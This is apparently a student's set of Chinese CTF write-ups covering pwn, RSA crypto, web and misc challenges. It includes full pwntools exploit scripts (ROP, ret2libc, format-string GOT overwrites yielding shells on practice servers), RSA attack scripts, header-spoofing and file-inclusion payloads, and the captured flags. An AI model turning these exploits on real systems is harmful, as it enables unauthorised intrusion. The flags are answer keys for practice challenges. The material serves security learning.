ida 里看到这个程序先读取了"/home/ctf/flag"作为随机数的种子，然后用随机数打乱输入的字符串再输出。一开始以为这是某种密码学+逆向的秘法就像选择明文攻击一样破解出从 flag 里前 0x10u 的内容。心想这玩意也太可怕了吧然后就上网查了下。

发现就是普通的 rop……用 open 打开 flag，读取，输出 flag 就可以了……

学到的是 elf.bss()返回程序的 bss 段，bss 是可读写的可以用来存取脚本里需要的内容。

然后发现 elf.start 直接返回程序入口，这样就不用怕没有符号表，\_start 什么的也找不到的情况了。

还有一点感觉很巧的就是用'\x00'作垃圾字段可以直接跳过根据 read 返回值制造的打乱循环，以后可以统一替代毫无意义的'x'（又看了眼作业截图发现学长提醒过了……）

脚本：

```python
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh', '-c' ]
# io = process("./rsbo", env={'LD_PRELOAD': './libc-2.23.so.i386'})
io = remote('hackme.inndy.tw', 7706)
elf = ELF("./rsbo")

main_addr = elf.start
# gdb.attach(io, "b main")
open_addr = elf.sym['open']
read_addr = elf.sym['read']
write_addr = elf.sym['write']

io.send('\x00'*108 + p32(open_addr) + p32(main_addr) + p32(0x80487d0) + p32(0))
io.send('\x00'*108 + p32(read_addr) + p32(main_addr) + p32(3) + p32(elf.bss()) + p32(100))
io.send('\x00'*108 + p32(write_addr) + p32(main_addr) + p32(1) + p32(elf.bss()) + p32(100))
io.interactive()
```


rsbo


## echo

> `FLAG{printf vulnerability is fun, right? %16c%7$hhn%99c%7$hhn}`

是根据[这个网站][1]写的。首先判断 printf 的那个栈和之前输入的字符串间隔几个参数：输入`ABCD%n$x`看 n=多少时能输出`ABCD44434241`(44434241 是 ABCD16 进制 ascii 码的反序)

[1]: https://paper.seebug.org/246/

然后利用 pwntools 自带的 fmtstr_payload，将 n、printf 地址和 system 地址放进去，利用 printf 漏洞把 printf 地址改成 system 地址。再输入“/bin/sh”字符串让 system 执行就好了。

```python
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level = 'debug'
io = remote("hackme.inndy.tw", 7711)
# io = process('./echo')
# gdb.attach(io, "b *main")
for i in range(100):
	payload = "ABCD%" + str(i) + "$x"
	io.sendline(payload)
	if "ABCD44434241" == io.recvline(keepends=False):
		print('------------------------------')
		print('Found format string offset: ' + str(i))
		print('------------------------------')
		offset = i
		break

# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF("./echo")
io.sendline(fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']}))
io.sendline('/bin/sh')
io.interactive()
```

出乎意料的是这题不用泄露 libc 版本直接发过去就能得到 shell……莫非我电脑和 inddy 用的一个版本 libc……

## echo2

> `FLAG{do you know PIE? %9$s or the ASLR? %9c$8$hhn}`

一开始觉得和上一道没什么区别,顶多就是不能用 fmtstr_payload 了.但对着 ppt 半天做不出.上网得知:

1. 开启 PIE 需要程序本身的基址
2. [这题没法把 printf 地址覆盖成 system][2].因为一个%hhn 写一个字节,没法一次覆盖完,下一次循环也没法用 printf 了.所以网上的 wp 无一例外都用 one_gadget 得到`execve('/bin/sh', NULL, NULL)`,并覆盖到退出循环后的 exit 函数里.

[2]: http://www.voidcn.com/article/p-aylailtb-bro.html

脚本参考了王\_\_学长和李\_学长的:

```python
# -*- coding: utf-8 -*-
from pwn import *
context.bits = 64
# context.log_level = 'debug'
io = remote('hackme.inndy.tw', 7712)

for i in range(100):
	payload = "ABCD%" + str(i) + "$x"
	io.sendline(payload)
	if "ABCD44434241" == io.recvline(keepends=False):
		offset = i
		log.info("Found format string offset -> 0x%x" % offset)
		break

libc = ELF('./libc-2.23.so.x86_64')
elf = ELF('./echo2')

io.sendline("%41$p..%43$p..")
# %41$p指向的是main+74, 所以要减掉main函数地址(nm ./echo2得到)和74
elf_base = int(io.recvuntil("..", drop=True), 16) - 74 - 0x9b9

payload = "++%" + str(i+1) + "$s++" + p64(elf_base+elf.got['printf'])
io.sendline(payload)
io.recvuntil('++')
printf_addr = u64(io.recvuntil('++', drop=True).ljust(8, "\x00"))
libc_base = printf_addr - libc.sym['printf']

log.info("elf_base -> 0x%x" % elf_base)
log.info("libc_base -> 0x%x" % libc_base)

exit_addr, override_addr = elf_base + \
	elf.got['exit'], libc_base + 0x45206  # one_gadget

i = 0
while override_addr != 0:
	payload = "%{}c%8$hhn".format(override_addr & 0xff).ljust(16)
	payload += p64(exit_addr+i)
	log.info("sent: " + payload)
	io.sendline(payload)
	override_addr = override_addr >> 8
	i += 1

io.sendline('exit')
io.interactive()
```


printf


## level3

> CTF{d85346df5770f56f69025bc3f5f1d3d0}

(看了看学长的脚本, 有啥东西就写在注释里了)

```python
# -*- coding: utf-8 -*-
from pwn import *

# from ctypes import string_at
# from sys import getsizeof
# from binascii import hexlify

elf = ELF("./level3")
# io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)

vul_addr = elf.symbols["vulnerable_function"]
write_addr = elf.symbols["write"]
# write_addr_plt = elf.plt["write"]
# print(write_addr == write_addr_plt) # true
write_addr_got = elf.got["write"]

io.recvline()
#           junk       ebp      要执行的函数的地址   执行后返回的地址  参数1     参数2                  参数3
io.sendline('x'*0x88 + 'beef' + p32(write_addr) + p32(vul_addr) + p32(1) + p32(write_addr_got) + p32(4))

# print(io.recv(4))
write_addr_real = u32(io.recv(4)) # 得到真实地址
# print(write_addr_real)

libc = ELF("./libc-2.19.so")
write_libc_offset = libc.symbols["write"]
sys_libc_offset = libc.symbols["system"]
# 传字符串时是传的字符串地址，所以也要搜到libc里字符串的偏移量才行
binsh_libc_offset = next(libc.search("/bin/sh")) # search返回的是个迭代器，要用next()才能访问到偏移量

libc_base = write_addr_real - write_libc_offset
sys_addr_real = libc_base + sys_libc_offset
binsh_libc_real = libc_base + binsh_libc_offset

io.recvline()
io.sendline('x'*0x88 + 'jjjj' + p32(sys_addr_real) + 'jjjj' + p32(binsh_libc_real))
io.interactive()

# print(hexlify(string_at(write_addr_got, getsizeof(p32(write_addr_got))))) # python可以读取内存内容，但读取别的程序占用的内存会引发段错误
# 而且这玩意读的应该还是本地相应地址的内容，根本不是人服务器上的，我好像过于异想天开了。
```

## level3x64

> CTF{b1aeaa97fdcc4122533290b73765e4fd}

就算是 64 位的，最终目的还是 system(bin/sh)

64 位区别：

"System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中，如果还有更多的参数的话才会保存在栈上。"， 以及覆盖一个地址要 8 个字母了。

要给寄存器传参的话，先写一句 pop rxx; ret(的地址)，下面接着要写进 rxx 的数值。

还有 payload 顺序也不一样，先改好寄存器的值，再写要调用的函数、调用完返回的地址。

```python
# -*- coding: utf-8 -*-
from pwn import *

elf = ELF("./level3_x64")
# io = process("./level3")
io = remote("pwn2.jarvisoj.com", 9883)

vul_addr = elf.symbols["vulnerable_function"]
write_addr = elf.symbols["write"]
write_addr_got = elf.got["write"]

# ropper --file ./level3_x64 --search "pop | ret"
pop_rdi = p64(0x00000000004006b3) + p64(1) # 1 for stdin
pop_rsi = p64(0x00000000004006b1) + p64(write_addr_got)
pop_rdx = p64(1) # 根本没有pop rdx; ret; 随便填一个，rdx值本来要大于8就行，不大于8也没办法

io.recvline()
#           junk        ebp （8个）   参数1     参数2      参数3     要执行的函数的地址   执行后返回的地址
io.sendline('x'*0x80 + 'deadbeef' + pop_rdi + pop_rsi + pop_rdx + p64(write_addr) + p64(vul_addr))

write_addr_real = u64(io.recv(8)) # 得到真实地址

libc = ELF("./libc-2.19.so")
write_libc_offset = libc.symbols["write"]
sys_libc_offset = libc.symbols["system"]
binsh_libc_offset = next(libc.search("/bin/sh")) # search返回的是个迭代器，要用next()才能访问到偏移量

libc_base = write_addr_real - write_libc_offset
sys_addr_real = libc_base + sys_libc_offset
binsh_libc_real = libc_base + binsh_libc_offset

pop_rdi_binsh = p64(0x00000000004006b3) + p64(binsh_libc_real)

io.recvline()
io.sendline('x'*0x80 + 'jjjjjjjj' + pop_rdi_binsh + p64(sys_addr_real))
io.interactive()
```

## ret2libc

很奇怪每次输入都会改变变量到栈底距离的题，不过因此学到了如何在脚本里关联上 gdb（`gdb.attach(io, "b main")`），并在 gdb 中直接看要填充多少（`distance $eax $ebp`）。

首先`gdb ret2libc3`,`b main`,`r`后一路`n`到要读入的语句：

```nasm
0x8048683 <main+107>    lea    eax, [esp + 0x1c]
0x8048687 <main+111>    mov    dword ptr [esp], eax
0x804868a <main+114>    call   gets@plt <0x8048440>
```

类似 [ebp - 0x??] 这样的一般是变量地址，这题特殊用 esp 定位，所以<main+107>处把变量所在地址给了 eax（`lea`是“取有效地址”， 感觉可以当做只传地址的 mov？）

执行完<main+107>，就可以用`distance $eax $ebp`得出要填充成垃圾的长度：

```nasm
0xffffcefc->0xffffcf68 is 0x6c bytes (0x1b words)
```

写进脚本：

---

仅存的笔记到这里就断了。备份的代码也丢失在时间里，就像雨中的眼泪……



动态链接


# task_rop64.rop64

看题目是 64 位的，就用 level3x64 的脚本改了：先打印一个已经执行过的函数的真实地址，用它和该函数在 libc 里的偏移算出 libc 的基址，得到 system 还有 binsh 的真实地址最让让它执行 `system("/bin/sh")`。
区别是 symbols 找不到 main 函数地址，要从 ida/gdb 中找到地址，写进去；还有 puts 的真实地址最后一位是\x00，这样用 puts 打印的时候到这一位就结束不再打印了，要自己把它加在后面，`io.recvuntil("\x7f").ljust(8,"\x00")`才能用 u64 解出地址。

"/lib/x86_64-linux-gnu/libc.so.6"是我的电脑里用的 libc 版本。

```python
# -*- coding: utf-8 -*-
from pwn import *

# context(os='linux', arch='amd64', log_level='debug')

elf = ELF("./task_rop64.rop64")
io = process("./task_rop64.rop64")
# io = remote("pwn2.jarvisoj.com", 9883)

# main_addr = elf.symbols["__libc_start_main"]
main_addr = 0x400626
puts_addr_got = elf.got["puts"]
puts_addr = elf.symbols["puts"]

# ropper --file ./task_rop64.rop64 --search "pop | ret"
pop_rdi = p64(0x0000000000400703)

io.recvline()
#           junk   ebp （8个）                  参数1给rdi      要执行的函数的地址  执行后返回的地址
io.sendline('x' + 'deadbeef' + pop_rdi + p64(puts_addr_got) + p64(puts_addr) + p64(main_addr))

# puts_addr_real = u64(io.recv(8)) # 得到真实地址
puts_addr_real = u64(io.recvuntil("\x7f").ljust(8,"\x00"))

print("puts_addr_real:")
print(hex(puts_addr_real))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_libc_offset = libc.symbols["puts"]
sys_libc_offset = libc.symbols["system"]
binsh_libc_offset = next(libc.search("/bin/sh")) # search返回的是个迭代器，要用next()才能访问到偏移量

libc_base = puts_addr_real - puts_libc_offset
sys_addr_real = libc_base + sys_libc_offset
binsh_libc_real = libc_base + binsh_libc_offset

# print io.recvline()

io.recvuntil("pwn it!")
io.sendline('x' + 'deadbeaf' + pop_rdi + p64(binsh_libc_real) + p64(sys_addr_real))
io.interactive()
```


ROP64


## pwn

### gettingstart

> flag{4281a86e5b9ab0ae7940f38be574dc52}

ida 反编译，发现 0x7FFFFFFFFFFFFFFFLL == v7 && 0.1 == v8 时可以执行 system("bin/sh")。

read(0, &buf, 0x28uLL)读入 0x28 个字节，会依次覆盖 buf、v5-v8。v5v6 随便填，v7 就写 0x7FFFFFFFFFFFFFFF。v8 是 double 型的 0.1，自己写一个给 double 赋值 0.1 的 c 程序，用 gdb 得到 0.1 的 double 型在内存中的形式 0x3fb999999999999a 写进去。

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
# io = process("./task_gettingStart_ktQeERc")
io = remote("49.4.78.170", 31070)

payload1 = 'a' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
print("--------------")
print(p64(0x7FFFFFFFFFFFFFFF))
print(p64(0x3fb999999999999a))
print("--------------")
io.recvuntil("you.\n")
io.sendline(payload1)
io.interactive()
io.close()
```

## misc

### 迟来的签到题

> flag{2F64B7656E77E0A0743C02ECAE9E2513}

txt 中乱码最后一个有等号，推测是 base64。解码后仍是乱码，提示 xor，让每一位和一个数异或，爆破在结果中找符合 flag 形式的提交。

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import base64

mess = b"AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs="
aft = base64.b64decode(mess)
aft = str(aft, encoding = "utf8")

print(aft)
for i in range(100, 200):
	for j in aft:
		print(chr(i^ord(j)), end='')
	print()
```


护网临时工


## bugku

### 矛盾

> flag{bugku-789-ps-ssdf}

看代码，要求输入一个不是数字、数字字符串，同时还==1 的东西。

ppt 里“字符串到数字”有说数字+字符串等于那个数字，所以输入类似 1admin 的字符串就可以了。

## cgctf

### md5 collision

> nctf{md5_collision_is_easy}

这个 ppt 里有一模一样的：md5('240610708') == md5('QNKCDZO')，所以输入`?a=240610708`就可以得到 flag。

### php decode >nctf{gzip_base64_hhhhhh}

`base64_decode()`不用多说，是解码；`gzinflate`查了下也是解码——那整个 CLsI 函数不就是解码么？把整个复制下来写进.php，最后改成

```php
$a = eval(xxx);
var_dump($a);
```

按理来说就可以了,但每回一访问就说“该网页无法正常运作
localhost 目前无法处理此请求。
HTTP ERROR 500”。

气死，命令行里一行一行输，就出结果了。

```shell
unv:$ php -a
Interactive mode enabled

php > $ZzvSWE = "+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==";
php > $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
php > for ($i = 0; $i < strlen($ZzvSWE); $i++) {
php { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
php { }
php > var_dump($ZzvSWE);
string(44) "﻿phpinfo();
flag:nctf{gzip_base64_hhhhhh}"
```

### COOKIE

> nctf{cookie_is_different_from_session}

网页叫我登录，但没看到登录框，f12 也一片空白。既然题目叫 COOKIE，就看了眼 COOKIE，发现 login 的 value 是 0。

好像没法直接改，就用 burp 抓包，和刚讲 burp 时那道 admin 一样，改成 1 就好了。

## shiyanbar

### 你真的会 php 吗？

> FLAG{2dd8711082fe24c19ae8}

看 header，还有 hint，是个 txt，所以改网址为该 txt 看到 php 源代码。

\$\_POST['number']已设置且不为空，不能是数字，转成 int 再转成 str 还得和本身相等。紧接着及得是回文数还不能是回文数，自己试了几个都被卡住了，就上网查 wp 了。

新火狐的 hackbar 有问题，POST 人家的 payload 都过不了，写脚本也不行。董斌让我用在线的，成了。换了一个在线网站，又不行了……

总之 wp 的思路是用 intval 溢出+%00 截断，post number=2147483647%00。因为%00 的缘故，is_numeric 会返回 false。strrev 后 2147483647 变为 7463847412，它大于 32 位系统 int 最大值所以还是 2147483647（难道不应该变负的么），绕过第一个“是回文数”的检验。显而易见，第二个回文数检验也是可以通过的。


php2


## web 基础\$\_GET

> flag{bugku_get_su8kej2en}

看到要`$what=='flag'`才能打印 flag，`$what`是可以用`?`传进来的，所以地址栏输入`http://120.24.86.145:8002/get/?what=flag`得到 flag

## web 基础\$\_POST

> flag{bugku_get_ssseint67se}

这回`$what`要用 POST 方法提交才行，在 hackbar 里选“Post data”，上面的栏填地址，下面的写`what=flag`，execute 就得到 flag 了。

## 变量 1

> flag{92853051ab894a64f7865cf3c2128b34}

提示 flag 在变量里，后续程序提取出输入的参数所代表变量的值，试了下`?args=flag`，`$flag`是空的……然后上网查可以用 GLOBALS 组成`$GLOBALS`把所有变量打印出来。含有 flag 的变量名是“ZFkwe3”，应该也可以用 burp 爆破出来？只要时间够用。

## 点击一百万次

> flag{Not_C00kI3Cl1ck3r}

提示说 js，（本来想用连点器的结果算了下我的连点器最快要点 2.78 个小时……），看 js，点 1000000 次后创建了一个下面这样的的表单并提交。

```html
<form action="" method="post">
  <input type="text" name="clicks" value="' + clicks + '" hidden />
</form>
```

`method="post"`说明用 POST 提交，还用 hackbar，上面网址下面`clicks=1000000`，execute 得 flag。

## 本地包含

> flag{bug-ctf-gg-99}

`$_REQUEST[]`包含`$_POST[] $_GET[]`的所有内容，所以打算用`?`传参。试了`?hello=$flag`，回显图样图森破……想仿照第 3 题用`$GLOBAL`，全体打印出来也没有。之前做题有个`?hello=php://filter/read=convert.base64-encode/resource=flag.php`也不行，应该是因为那个不是变量不能用 var_dump 吧。后来百度到`?hello=file('flag.php')`，成了。


php1


## correct_the_byte

> FLAG-EiTMzujOpNwYCeervQMFod0hmZHC@

看一晚上也不知道要 correct 哪个 byte，问了学长得知是异或的 0x13 有问题。所以就`x/34xb $rsi`打印出将要被异或的值，穷举要异或的数爆破。

再加上群里 flag 的开头图片，ctrl+f 找出 flag。

```python
rsi_list = [
0x0c,
0x06,
0x0b,
0x0d,
0x67,
0x0f,
0x23,
0x1e,
0x07,
0x30,
0x3f,
0x20,
0x05,
0x3a,
0x04,
0x3d,
0x13,
0x09,
0x2f,
0x2f,
0x38,
0x3c,
0x1b,
0x07,
0x0c,
0x25,
0x2e,
0x7a,
0x22,
0x27,
0x10,
0x02,
0x09,
0x0a,
]
for i in range(100):
    for rsi in rsi_list:
        print(chr(rsi ^ i), end="")
    print()
```



## 题解

### level0

> CTF{713ca3944e92180e0ef03171981dcd41}

vulnerable_function 里 buf 只有 0x80 大小，但读取 0x200 个字符；函数里还有 callsystem。将 r 之前的都随意填充掉，跟上 callsystem 的地址就好了。

```python
from pwn import *

io = remote("pwn2.jarvisoj.com", 9881)
elf = ELF("./level0")
io.send("a" * (0x80 + 0x8) + p64(elf.symbols["callsystem"]))
io.interactive()
```

### rop_rop_rop

> islab{佳婷姐姐强啊！}

Step3 里有 system(str)，str 经过 step1-3 被赋值成“/bin/sh”，所以要把 step1-3 都走完。

GetUserInput 里 buf 在 ret 下面，应该没法栈溢出；MyStrcpy 复制数组直到'\n'，考虑用它给 buf 赋值使 main 函数栈溢出。绕过 p 长度检验就用'\0'代替'A'填充好了。

然后我打算构建一个 payload 一次输入能连着运行三个函数，但实在不知道 ebp 该怎么返回、返回到哪，问了学长才知道可以返回到输入函数那里——我完全忘了参数上面还应该有主调函数中下一个指令的地址了，以为返回主调函数全靠 ebp 指着的 prev ebp……

然后发现传参的 p32(-1565276971)总是报错，找到了 struct.pack('i', -1565276971)。

```python
#!/usr/bin/env python
# coding:utf-8

from pwn import *
from struct import pack

# io = process("./rop_rop_rop")
io = remote("10.4.21.55", 9005)
elf = ELF("./rop_rop_rop")

input_addr = elf.symbols["main"]
func1_addr = elf.symbols["Step1"]
func2_addr = elf.symbols["Step2"]
func3_addr = elf.symbols["Step3"]

arg1 = p32(0) + p32(1094795585) + pack("i", -1565276971)
arg2 = pack("i", -14309420) + p32(1094795585)
arg3 = pack("i", -1) + p32(202116108) + pack("i", -1702716798)

payload1 = "\0" * (0xc + 0x4) + p32(func1_addr) + p32(input_addr) + arg1 + "\n"
payload2 = "\0" * (0xc + 0x4) + p32(func2_addr) + p32(input_addr) + arg2
payload3 = "\0" * (0xc + 0x4) + p32(func3_addr) + p32(input_addr) + arg3

io.send(payload1)
io.sendline(payload2)
io.sendline(payload3)

io.interactive()
```

## 调用函数大致过程

1. 将 eax、ecx、edx 压栈（如果被调函数要改变这些寄存器的值）
2. 将被调函数的参数按从右向左的顺序压入栈中
3. 将 eip（被调函数后下一条指令）压入栈中，并跳转到被调函数的地址

（主调函数的工作干完了）

4. 将 ebp 压入栈中
5. 把 esp 赋值给 ebp，使其指向新的栈帧的栈底（就是老的 ebp）
6. 将 ebx、esi、edi 压栈（如果被调函数要改变这些寄存器的值）
7. 给局部变量分配空间（局部变量用 ebp-便宜找到，参数用 epb+便宜）
8. 进行被调函数的各种操作
9. 返回值（整形给 eax，浮点型给浮点寄存器，结构体就存在栈里）

（被调函数完了）

10. 做了 6 就恢复那些寄存器的值
11. 把 ebp 的值传给 esp
12. popl %ebp（看图好像是 ebp=老 ebp 的赋值）
13. ret(popl %eip)
14. 把参数弹出栈
15. 把返回值存下来（movl %eax,
    wherever……）
16. 做了 1 就恢复这些寄存器

要返回一个指定函数时函数地址和参数之间还有一行函数执行完后指令的地址，相当于上面的第 3 条。

这些是看[网上找的 ppt][ppt]里抄的，这个有讲函数调用完怎么恢复。

[ppt]: https://www.cs.princeton.edu/courses/archive/spr11/cos217/lectures/15AssemblyFunctions.pdf



## medium rsa

> PCTF{256b_i5_m3dium}

压缩包里一个 .pem 一个 .enc，没看见 ppt 后面有介绍怎么写的，所以直接查了一下这题，才知道一开始要 `openssl rsa -pubin -text -modulus -in pubkey.pem`

得到 e、N，N 转为 10 进制后用 yafu 分解出 p 、q，把他们复制进 RSA-Tool 计算出 d

用[网上的脚本][rsatool.py]生成私钥，命令行输 `openssl rsautl -decrypt -in flag.enc -inkey private.pem` 出 flag

[rsatool.py]: https://blog.csdn.net/veritas501/article/details/55257957

## extremly hard rsa

> PCTF{Sm4ll_3xpon3nt_i5_W3ak}

内容和之前一样，所以一上来还是 `openssl rsa -pubin -text -modulus -in pubkey.pem`

发现 e=3，ppt 里有“低加密指数攻击”，照着那一页写脚本（ p，q 用 yafu 分解出， c 用 `hex < flag.enc` 得到）。

得到 m 简单，快速地暴力破解和输出 m 难。经过唐老板、董斌、尹大佬指点，最终脚本如下（还有问题，但反正能用）：

```python
import gmpy2
from Crypto.Util import number
from concurrent.futures import ProcessPoolExecutor

c = 0x85c0de5f # 太长，影响阅读
N = 0xB0BEE5E3 # 后面截掉了
e = 3

def breach(i):
    print(i) # 没有这句我就觉得程序没在运行
    for k in range(i, i + 2000000):
        m = gmpy2.iroot(c + k * N, e)
        m, b = m
        if True == b:
            print(number.long_to_bytes(m))

if __name__ == "__main__":
    with ProcessPoolExecutor(max_workers=4) as pool:
        #        尹大佬加的第三个参数，立刻快了许多👇
        pool.map(breach, range(0, 1000000000, 2000000))
```

## netcat 123.207.38.247 9999

> islab{RSA_i5_v5ry_eazzzzy}

问尹大佬我的多进程怎么改的时候，听到冯大佬说这是选择明文攻击，然后上网查到[这篇文章][cca]。虽然不明白为啥，但跟着它做就做出来了：

1. 选 3 ，得到 flag 加密后的 C
2. 选 1 ，输入 0x2 ，得到的是 C<sub>a</sub>
3. C<sub>a</sub> × C 得到 C<sub>b</sub>
4. 选 2 ，输入 C<sub>b</sub> ，得到解密后的 C<sub>b</sub> ，我管他叫 cbd_modn
5. 根据 cbd_modn = cbd mod n 求 cbd（应该有很多可能值，我一开始把 cdb_modn 直接当成 cbd 用出结果了，试了试加了几倍的 n 反而不行，所以不改脚本了）
6. 根据 cbd = flag × 2 mod n 求 flag

脚本：

```python
from Crypto.Util import number
from concurrent.futures import ProcessPoolExecutor
import re

n = 0xe8e24510   # 太长
cbd = 0xd2e6d8c2 # 截掉

def cca(i):
    for k in range(i, i + 25):
        # 不用整除会报错float存不下，反正bytes也没小数
        m = (cbd + k * n) // 2
        m = number.long_to_bytes(m)
        if re.match(r"islab", m.decode()):
            print(m.decode())

if __name__ == "__main__":
    with ProcessPoolExecutor(max_workers=4) as pool:
        pool.map(cca, range(0, 100, 25))
```

[cca]: https://crypto.stackexchange.com/questions/2323/how-does-a-chosen-plaintext-attack-on-rsa-work#2331


RSA作业


## http://123.207.38.247:8888/

1. simple.php

   > islab{C0oki3_15_1nt3re5ting}

   改 Cookie: name=admin

2. simple2.php

   > islab{d0_u_ud5rstAnd_whaT_each_h5ad5er_m5an5}

   根据网页内容依次改 GET 为 POST =>

   在 Accept-Language:里加上 de-DE =>

   改 Host: simple.islab.cn（我一直以为“via simple.islab.cn”是从这里跳转来的意思，改了一万年 Referer） =>

   加上 X-Forwarded-For: 10.0.0.55 =>

   加上 Referer: www.bit.edu.cn（原来跳转是“jump from”……），得到 flag

---

## jarvis oj

1. LOCALHOST

   > PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

   加 X-Forwarded-For: 127.0.0.1

---

## bugku

1. web2

   > KEY{Web-2-bugKssNNikls9100}

   f12，inspector 里搜索 flag 得到

2. web3

   > KEY{J2sa42ahJK-HS11III}

   弹出 flag 和一堆乱码好几遍，f12 发现注释里有很有规律的数字，猜测是 ascii 码，转换后得到 flag

3. 头等舱

   > flag{Bugku_k8_23s_istra}

   “什么也没有”，真的什么也没有，html、network 里面翻遍了也没有，
   也没有 index.php，看着题名输 firstclass.php 也没有。
   burp 抓包也找不到，查了下才知道是 send to repeater 里看 respose

4. 计算器

   > flag{CTF-bugku-0032}

   只能输 1 位，f12 改 maxlength="2"就可以了，然后算术。

5. 输入密码查看 flag

   > flag{bugku-baopo-hah}

   网址就写着爆破，还告诉你密码只有 5 位数，然后我爆破了一上午也没爆出来。查了下题解发现 5 位数密码=5 位数字的密码……把 character set 改成全数字过一会就出来 lenth 与众不同的 13579 了……

---
